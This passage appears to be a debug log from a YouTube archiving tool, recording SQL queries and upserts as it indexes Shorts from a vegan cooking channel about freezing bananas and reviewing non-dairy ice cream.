idle=713.8ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["HOW TO FREEZE BANANAS 🍌 Did you know that bananas are one of the most wasted items of produce? 😳 Don't let your brown or spotty bananas die on your countertop... FREEZE THEM! 🍌❄️ I show you 3 ways to do that in the video below ⬇️ CHECK IT OUT! \nhttps://youtu.be/Em_STW7wKQs", "How to freeze bananas 🍌 METHOD 2 | freeze whole without the peel! #youtubeshorts #shorts", "8e3b24a6-c2df-484d-ad8b-1347233da4ef", 1, [], 16, false, "7c2p7kRwy8I", "https://www.youtube.com/shorts/7c2p7kRwy8I", 275, "/downloads/downloads/alec/Steamy Vegan/2022-08-05 How to freeze bananas 🍌 METHOD 2 | freeze whole without the peel! #youtubeshorts #shorts/How to freeze bananas 🍌 METHOD 2 | freeze whole without the peel! #youtubeshorts #shorts [7c2p7kRwy8I].NA", false, false, true, 0, ~U[2022-08-05 15:00:05Z], ~U[2026-03-22 03:27:46Z], ~U[2026-03-22 03:27:46Z], "HOW TO FREEZE BANANAS 🍌 Did you know that bananas are one of the most wasted items of produce? 😳 Don't let your brown or spotty bananas die on your countertop... FREEZE THEM! 🍌❄️ I show you 3 ways to do that in the video below ⬇️ CHECK IT OUT! \nhttps://youtu.be/Em_STW7wKQs", "How to freeze bananas 🍌 METHOD 2 | freeze whole without the peel! #youtubeshorts #shorts", 1, 16, false, "7c2p7kRwy8I", "https://www.youtube.com/shorts/7c2p7kRwy8I", "/downloads/downloads/alec/Steamy Vegan/2022-08-05 How to freeze bananas 🍌 METHOD 2 | freeze whole without the peel! #youtubeshorts #shorts/How to freeze bananas 🍌 METHOD 2 | freeze whole without the peel! #youtubeshorts #shorts [7c2p7kRwy8I].NA", true, ~U[2022-08-05 15:00:05Z]] 20:27:46.259 [debug] QUERY OK source="sources" db=0.3ms idle=26.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:27:46.260 [debug] QUERY OK source="media_profiles" db=0.3ms idle=5.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:27:46.260 [debug] QUERY OK source="media_items" db=0.3ms idle=5.2ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [664] 20:27:46.260 [debug] Current batch of media processed. Will check again in 1000ms 20:27:47.261 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "HOW TO FREEZE BANANAS 🍌 Did you know that bananas are one of the most wasted items of produce? 😳 Don't let your brown or spotty bananas die on your countertop... FREEZE THEM! 🍌❄️ I show you 3 ways to do that in the video below ⬇️ CHECK IT OUT! \nhttps://youtu.be/Em_STW7wKQs", "duration" => 14, "filename" => "/downloads/downloads/alec/Steamy Vegan/2022-08-05 How to freeze bananas 🍌 METHOD 1 | freeze your bananas whole! #youtubeshorts #shorts/How to freeze bananas 🍌 METHOD 1 | freeze your bananas whole! #youtubeshorts #shorts [3yApAjneG0s].NA", "id" => "3yApAjneG0s", "live_status" => "not_live", "original_url" => "https://www.youtube.com/shorts/3yApAjneG0s", "playlist_index" => 276, "timestamp" => 1659658633, "title" => "How to freeze bananas 🍌 METHOD 1 | freeze your bananas whole! #youtubeshorts #shorts", "upload_date" => "20220805"} 20:27:47.262 [debug] QUERY OK source="sources" db=0.5ms idle=1003.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 20:27:47.263 [debug] QUERY OK source="sources" db=0.6ms idle=1003.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:27:47.265 [debug] QUERY OK source="media_items" db=2.1ms idle=1003.5ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-08-05 00:17:13Z], 1] 20:27:47.267 [debug] QUERY OK source="media_items" db=1.4ms idle=1005.5ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["HOW TO FREEZE BANANAS 🍌 Did you know that bananas are one of the most wasted items of produce? 😳 Don't let your brown or spotty bananas die on your countertop... FREEZE THEM! 🍌❄️ I show you 3 ways to do that in the video below ⬇️ CHECK IT OUT! \nhttps://youtu.be/Em_STW7wKQs", "How to freeze bananas 🍌 METHOD 1 | freeze your bananas whole! #youtubeshorts #shorts", "cb5a602e-5f00-4dd6-a6af-a4da2ecb58a1", 1, [], 14, false, "3yApAjneG0s", "https://www.youtube.com/shorts/3yApAjneG0s", 276, "/downloads/downloads/alec/Steamy Vegan/2022-08-05 How to freeze bananas 🍌 METHOD 1 | freeze your bananas whole! #youtubeshorts #shorts/How to freeze bananas 🍌 METHOD 1 | freeze your bananas whole! #youtubeshorts #shorts [3yApAjneG0s].NA", false, false, true, 1, ~U[2022-08-05 00:17:13Z], ~U[2026-03-22 03:27:47Z], ~U[2026-03-22 03:27:47Z], "HOW TO FREEZE BANANAS 🍌 Did you know that bananas are one of the most wasted items of produce? 😳 Don't let your brown or spotty bananas die on your countertop... FREEZE THEM! 🍌❄️ I show you 3 ways to do that in the video below ⬇️ CHECK IT OUT! \nhttps://youtu.be/Em_STW7wKQs", "How to freeze bananas 🍌 METHOD 1 | freeze your bananas whole! #youtubeshorts #shorts", 1, 14, false, "3yApAjneG0s", "https://www.youtube.com/shorts/3yApAjneG0s", "/downloads/downloads/alec/Steamy Vegan/2022-08-05 How to freeze bananas 🍌 METHOD 1 | freeze your bananas whole! #youtubeshorts #shorts/How to freeze bananas 🍌 METHOD 1 | freeze your bananas whole! #youtubeshorts #shorts [3yApAjneG0s].NA", true, ~U[2022-08-05 00:17:13Z]] 20:27:47.268 [debug] QUERY OK source="sources" db=0.9ms idle=31.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:27:47.269 [debug] QUERY OK source="media_profiles" db=0.4ms queue=0.1ms idle=6.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:27:47.270 [debug] QUERY OK source="media_items" db=0.3ms idle=7.0ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [665] 20:27:47.271 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "It's hot out and we're cooling off with a vegan and non-dairy ice cream review video. Get ready for our weird and wacky reactions to some of the best and top recommended vegan, non dairy ice creams on the market!\n\nFull Review Video Here: https://youtu.be/rU4cirfns1Q\n\nDon't forget to subscribe and stay tuned for more vegan and gluten free recipe videos and review videos of vegan products!", "duration" => 14, "filename" => "/downloads/downloads/alec/Steamy Vegan/2022-08-03 The ultimate way to cool off on a hot day 🔥🥵☀️vegan ice cream review #shorts #youtubeshorts/The ultimate way to cool off on a hot day 🔥🥵☀️vegan ice cream review #shorts #youtubeshorts [eLUjoz0nZMM].NA", "id" => "eLUjoz0nZMM", "live_status" => "not_live", "original_url" => "https://www.youtube.com/shorts/eLUjoz0nZMM", "playlist_index" => 277, "timestamp" => 1659542256, "title" => "The ultimate way to cool off on a hot day 🔥🥵☀️vegan ice cream review #shorts #youtubeshorts", "upload_date" => "20220803"} 20:27:47.272 [debug] QUERY OK source="sources" db=0.8ms idle=5.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 20:27:47.272 [debug] QUERY OK source="sources" db=0.2ms idle=4.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:27:47.274 [debug] QUERY OK source="media_items" db=1.9ms idle=3.9ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-08-03 15:57:36Z], 1] 20:27:47.276 [debug] QUERY OK source="media_items" db=1.4ms idle=5.3ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["It's hot out and we're cooling off with a vegan and non-dairy ice cream review video. Get ready for our weird and wacky reactions to some of the best and top recommended vegan, non dairy ice creams on the market!\n\nFull Review Video Here: https://youtu.be/rU4cirfns1Q\n\nDon't forget to subscribe and stay tuned for more vegan and gluten free recipe videos and review videos of vegan products!", "The ultimate way to cool off on a hot day 🔥🥵☀️vegan ice cream review #shorts #youtubeshorts", "1292b08c-0785-42e8-94ad-960a804b68de", 1, [], 14, false, "eLUjoz0nZMM", "https://www.youtube.com/shorts/eLUjoz0nZMM", 277, "/downloads/downloads/alec/Steamy Vegan/2022-08-03 The ultimate way to cool off on a hot day 🔥🥵☀️vegan ice cream review #shorts #youtubeshorts/The ultimate way to cool off on a hot day 🔥🥵☀️vegan ice cream review #shorts #youtubeshorts [eLUjoz0nZMM].NA", false, false, true, 1, ~U[2022-08-03 15:57:36Z], ~U[2026-03-22 03:27:47Z], ~U[2026-03-22 03:27:47Z], "It's hot out and we're cooling off with a vegan and non-dairy ice cream review video. Get ready for our weird and wacky reactions to some of the best and top recommended vegan, non dairy ice creams on the market!\n\nFull Review Video Here: https://youtu.be/rU4cirfns1Q\n\nDon't forget to subscribe and stay tuned for more vegan and gluten free recipe videos and review videos of vegan products!", "The ultimate way to cool off on a hot day 🔥🥵☀️vegan ice cream review #shorts #youtubeshorts", 1, 14, false, "eLUjoz0nZMM", "https://www.youtube.com/shorts/eLUjoz0nZMM", "/downloads/downloads/alec/Steamy Vegan/2022-08-03 The ultimate way to cool off on a hot day 🔥🥵☀️vegan ice cream review #shorts #youtubeshorts/The ultimate way to cool off on a hot day 🔥🥵☀️vegan ice cream review #shorts #youtubeshorts [eLUjoz0nZMM].NA", true, ~U[2022-08-03 15:57:36Z]] 20:27:47.277 [debug] QUERY OK source="sources" db=0.5ms queue=0.1ms idle=6.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:27:47.278 [debug] QUERY OK source="media_profiles" db=0.3ms idle=5.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:27:47.278 [debug] QUERY OK source="media_items" db=0.5ms idle=5.6ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [666] 20:27:47.278 [debug] Current batch of media processed. Will check again in 1000ms 20:27:48.279 [debug] Current batch of media processed. Will check again in 1000ms 20:27:49.280 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "We've decided to review some of the top non-dairy and vegan ice cream brands in the market to help you cool down in this hot summer weather. Subscribe and check out our full vegan ice cream review video below:\n\nFull Video Review: https://youtu.be/rU4cirfns1Q", "duration" => 14, "filename" => "/downloads/downloads/alec/Steamy Vegan/2022-08-02 Slather me in that non dairy ice cream cus it’s hot 🥵 #shorts #youtubeshorts/Slather me in that non dairy ice cream cus it’s hot 🥵 #shorts #youtubeshorts [s11ZLrt1iI4].NA", "id" => "s11ZLrt1iI4", "live_status" => "not_live", "original_url" => "https://www.youtube.com/shorts/s11ZLrt1iI4", "playlist_index" => 278, "timestamp" => 1659474036, "title" => "Slather me in that non dairy ice cream cus it’s hot 🥵 #shorts #youtubeshorts", "upload_date" => "20220802"} 20:27:49.282 [debug] QUERY OK source="sources" db=1.3ms idle=696.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 20:27:49.283 [debug] QUERY OK source="sources" db=0.5ms queue=0.7ms idle=698.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:27:49.288 [debug] QUERY OK source="media_items" db=3.4ms queue=0.5ms idle=699.8ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-08-02 21:00:36Z], 1] 20:27:49.291 [debug] QUERY OK source="media_items" db=2.3ms idle=704.6ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["We've decided to review some of the top non-dairy and vegan ice cream brands in the market to help you cool down in this hot summer weather. Subscribe and check out our full vegan ice cream review video below:\n\nFull Video Review: https://youtu.be/rU4cirfns1Q", "Slather me in that non dairy ice cream cus it’s hot 🥵 #shorts #youtubeshorts", "42d28183-79f8-436f-83e1-bd457e7d4512", 1, [], 14, false, "s11ZLrt1iI4", "https://www.youtube.com/shorts/s11ZLrt1iI4", 278, "/downloads/downloads/alec/Steamy Vegan/2022-08-02 Slather me in that non dairy ice cream cus it’s hot 🥵 #shorts #youtubeshorts/Slather me in that non dairy ice cream cus it’s hot 🥵 #shorts #youtubeshorts [s11ZLrt1iI4].NA", false, false, true, 0, ~U[2022-08-02 21:00:36Z], ~U[2026-03-22 03:27:49Z], ~U[2026-03-22 03:27:49Z], "We've decided to review some of the top non-dairy and vegan ice cream brands in the market to help you cool down in this hot summer weather. Subscribe and check out our full vegan ice cream review video below:\n\nFull Video Review: https://youtu.be/rU4cirfns1Q", "Slather me in that non dairy ice cream cus it’s hot 🥵 #shorts #youtubeshorts", 1, 14, false, "s11ZLrt1iI4", "https://www.youtube.com/shorts/s11ZLrt1iI4", "/downloads/downloads/alec/Steamy Vegan/2022-08-02 Slather me in that non dairy ice cream cus it’s hot 🥵 #shorts #youtubeshorts/Slather me in that non dairy ice cream cus it’s hot 🥵 #shorts #youtubeshorts [s11ZLrt1iI4].NA", true, ~U[2022-08-02 21:00:36Z]] 20:27:49.292 [debug] QUERY OK source="sources" db=0.5ms queue=0.2ms idle=52.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:27:49.293 [debug] QUERY OK source="media_profiles" db=1.1ms idle=10.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:27:49.295 [debug] QUERY OK source="media_items" db=0.9ms idle=10.3ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [667] 20:27:49.295 [debug] Current batch of media processed. Will check again in 1000ms 20:27:50.296 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "It is so hot here right now so we decided to do a vegan ice cream review to find some of the best vegan ice creams around. If you're dairy free, lactose intolerant, gluten free, plant based, vegan or just want to decrease the amount of dairy you're consuming then you'll want to check out this vegan ice cream review below...\n\nFull Video: https://youtu.be/rU4cirfns1Q\n\nDon't forget to subscribe and like this video. Thanks for your support!!!", "duration" => 30, "filename" => "/downloads/downloads/alec/Steamy Vegan/2022-08-02 Vegan ice cream review bloopers 😂#shorts #youtubeshorts/Vegan ice cream review bloopers 😂#shorts #youtubeshorts [G2kQh4kMKnc].NA", "id" => "G2kQh4kMKnc", "live_status" => "not_live", "original_url" => "https://www.youtube.com/shorts/G2kQh4kMKnc", "playlist_index" => 279, "timestamp" => 1659456007, "title" => "Vegan ice cream review bloopers 😂#shorts #youtubeshorts", "upload_date" => "20220802"} 20:27:50.297 [debug] QUERY OK source="sources" db=0.7ms idle=1005.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 20:27:50.298 [debug] QUERY OK source="sources" db=0.3ms queue=0.5ms idle=1005.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:27:50.301 [debug] QUERY OK source="media_items" db=2.8ms queue=0.2ms 